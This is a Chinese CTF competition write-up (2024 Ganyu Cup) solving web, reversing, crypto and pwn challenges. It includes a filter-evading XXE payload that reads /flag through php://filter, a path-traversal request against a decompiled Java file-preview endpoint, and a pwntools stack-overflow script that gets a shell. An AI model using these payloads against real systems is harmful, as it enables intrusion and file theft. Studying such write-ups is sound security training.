2024赣育杯网络安全大赛
Web
XXEXXE
<? php
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requestMethod == 'GET') {
highlight_file("exploit.php");
exit();
}
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$pattern = '/system[\s]*\"file/i';
if (preg_match($pattern, $xmlfile, $matches)) {
echo "xxe attack!!!";
exit();
}
$pattern2 = '/system[\s][" \']http/i';
if (preg_match($pattern2, $xmlfile, $matches2)) {
echo "xxe attack!!!";
exit();
}
try {
$dom = new DOMDocument();
$dom - > loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$code = $creds - > code;
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 1, $code);
} catch (Exception $e) {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 3, $e - > getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result; ?>
exp
POST /exploit.php HTTP/2
Host: xvmw7efenlmzdxdu.ctfw.edu.sangfor.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Real-Ip: 92.14.194.117
Priority: u=0, i
Te: trailers
Content-Length: 165
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >
]>
<creds>
<code>&xxe;</code>
</creds>

image.png
ReadFlag
题目提示是在 demo1的路径,查看demo1的代码即可

image.png
漏洞代码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.test.demos.web;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.OutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"/pubfunc"})
@CrossOrigin(
origins = {"*"}
)
public class PubfuncController {
public PubfuncController() {
}
@RequestMapping(
value = {"/previewpdf"},
method = {RequestMethod.GET}
)
public void rptPreview(HttpServletRequest req, HttpServletResponse response) {
String filepath = req.getParameter("filepath");
FileInputStream fileInputStream = null;
try {
String strPdfpath = filepath;
File file = new File(strPdfpath);
fileInputStream = new FileInputStream(file);
response.setHeader("Content-Disposition", "attachment;fileName=test.pdf");
response.setContentType("multipart/form-data");
OutputStream outputStream = response.getOutputStream();
IOUtils.write(IOUtils.toByteArray(fileInputStream), outputStream);
} catch (Exception var16) {
} finally {
if (fileInputStream != null) {
try {
fileInputStream.close();
} catch (IOException var15) {
}
}
}
}
}
GET /demo1/pubfunc/previewpdf?filepath=../../../../../../flag HTTP/1.1
Host: ctfx.edu.sangfor.com.cn:42994
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Real-Ip: 92.14.194.117
Priority: u=0, i

image.png
Pwn
level3
jadx 打开apk

image.png
LibSecShell.so 是梆梆加固免费版的壳
参考 常见的厂家的加固方式做一下总结_梆梆加固企业版 和 爱加密-CSDN博客
使用在线平台进行脱壳
使用 dex-tools 将dex 转换为 jar 文件
idea 打开
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.myapplication;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.example.myapplication.R.id;
import com.example.myapplication.R.layout;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.Inflater;
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
byte[] map = null;
EditText password = null;
public MainActivity() {
}
public static byte[] decompress(byte[] var0) throws IOException {
Inflater var1 = new Inflater();
var1.setInput(var0);
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var0.length);
byte[] var2 = new byte[1024];
while(!var1.finished()) {
try {
var4.write(var2, 0, var1.inflate(var2));
} catch (Exception var3) {
break;
}
}
var4.close();
return var4.toByteArray();
}
public boolean checkPassword(byte[] var1, String var2) {
int var3 = 1;
int var4 = 1;
char[] var7 = var2.toCharArray();
int var6 = var7.length;
int var5 = 0;
while(var5 < var6) {
switch (var7[var5]) {
case 'a':
--var4;
break;
case 'd':
++var4;
break;
case 's':
++var3;
break;
case 'w':
--var3;
break;
default:
return false;
}
switch (var1[var3 * 11 + var4]) {
case 35:
return false;
case 36:
return true;
case 42:
default:
++var5;
}
}
return false;
}
public void onClick(View var1) {
try {
InputStream var4 = this.getResources().getAssets().open("map");
byte[] var2 = new byte[var4.available()];
this.map = var2;
var4.read(var2);
if (var4.read(this.map) == 0) {
Exception var5 = new Exception();
throw var5;
}
this.map = decompress(this.map);
} catch (Exception var3) {
Toast.makeText(this, "something wrong", 0).show();
}
if (this.checkPassword(this.map, this.password.getText().toString())) {
Toast.makeText(this, "you are right flag is md5(your input)(lower case~)", 0).show();
} else {
Toast.makeText(this, "wrong input!", 0).show();
}
}
protected void onCreate(Bundle var1) {
super.onCreate(var1);
this.setContentView(layout.activity_main);
Button var2 = (Button)this.findViewById(id.button);
this.password = (EditText)this.findViewById(id.editTextText);
var2.setOnClickListener(this);
}
}
二维地图
############****#****##*#*###*#*##*#*****#*##*#######*##*#*******##*#*#*#*#*##*#*#*#*#*####*#*#*####***#*#**$############
密码为
shell
ddssddddwwddssssaassssdd

image.png
flag 为
Sangfor{a7bfaf2c2d38fea97b8ecc0919cdff04}
Crypto
Random-dlp
解密基于 MT19937 的随机数生成器
数据读取:
- 从 output.txt 文件中读取四个序列,包括两个用于验证的大整数 p 和 g,以及两个密钥序列 c 和 random_list。
初始化和数据分解:
- 使用读取的 random_list 的前两项作为 N 和 gift,这两个数用于后续的数学运算和验证。
递归分解:
- 定义了一个递归函数 fac(p, q),用来分解整数 N,寻找符合给定条件的二进制表示的因子。
- 这个过程通过二进制探索(0和1的添加),并在满足特定模运算条件时进行进一步递归。
MT19937 预测器使用:
- 利用 ExtendMT19937Predictor 类的方法,设置已知的随机状态并进行“回退”操作以恢复更早的状态。
- 这包括多次回退操作来逐步恢复到初始的随机种子状态。
计算和输出最终结果:
最终通过恢复的种子生成特定格式的标志字符串 flag。
from extend_mt19937_predictor import ExtendMT19937Predictor import sys sys.setrecursionlimit(3000) f = open("output.txt",'r').readlines() p = eval(f[0]) g = eval(f[1]) c = eval(f[2]) random_list = eval(f[3]) \# 分解 N = random_list[0] gift = random_list[1] def fac(p,q): if len(p) == 1024: pp = int(p,2) if N % pp == 0: print(f"num1 = {pp}") print(f"num2 = {N // pp}") else: l = len(p) pp = int(p,2) qq = int(q,2) if (pp ^ qq) % (2 ** l) == gift % (2**l) and pp * qq % (2**l) == N % (2**l): fac('1' + p,'1' + q) fac('0' + p,'1' + q) fac('1' + p,'0' + q) fac('0' + p,'0' + q) \# fac('1','1') num1 = 127954378905954473979599580543506133734470934402921187567126328044915399136783613004594347893231249786782113863929878799565038392492182148282608301947643527866047185811106214065159313666530775740342170598378474744062316856449855121227117986037506212272472581097517909639356259473022026193056598279705883312493 num2 = 39590745269613494512251071983478757508814280272882049594849029032543594900913069786771939178626302619505593605829896534613681707527396968070583148545044036306348014204000427687094161885558852315374684881011665955520787218713536145424007912730740353898075406161865607017294126568950247058934097741037059441349 tmp = [num1,num2] + random_list[2:] D = [] for i in range(len(tmp)): D.append(tmp[i] >> 32) predictor = ExtendMT19937Predictor() predictor.setrandbits(g,128) for i in range(len(D)): predictor.setrandbits(D[i],992) for i in range(len(D)): predictor.backtrack_getrandbits(992) predictor.backtrack_getrandbits(128) predictor.backtrack_getrandbits(32) m = predictor.backtrack_getrandbits(128) flag = b'Sangfor{'+str(m).encode()+b'}' print(flag)
Misc

image.png
OF
ida打开,发现是栈溢出
把后门地址覆盖ret地址 getshell

image.png
from pwn import *
context.log_level = "debug"
sh = remote ("ctfx.edu.sangfor.com.cn", 41682)
def g():
global sh
gdb.attach(sh,'''
brva 0x00011FC
''')
pause()
sh.sendline(82*b"a" + p32(0xC8E51295))
sh.interactive()

image.png
勒索病毒
感觉是签到题,直接010打开发现flag

image.png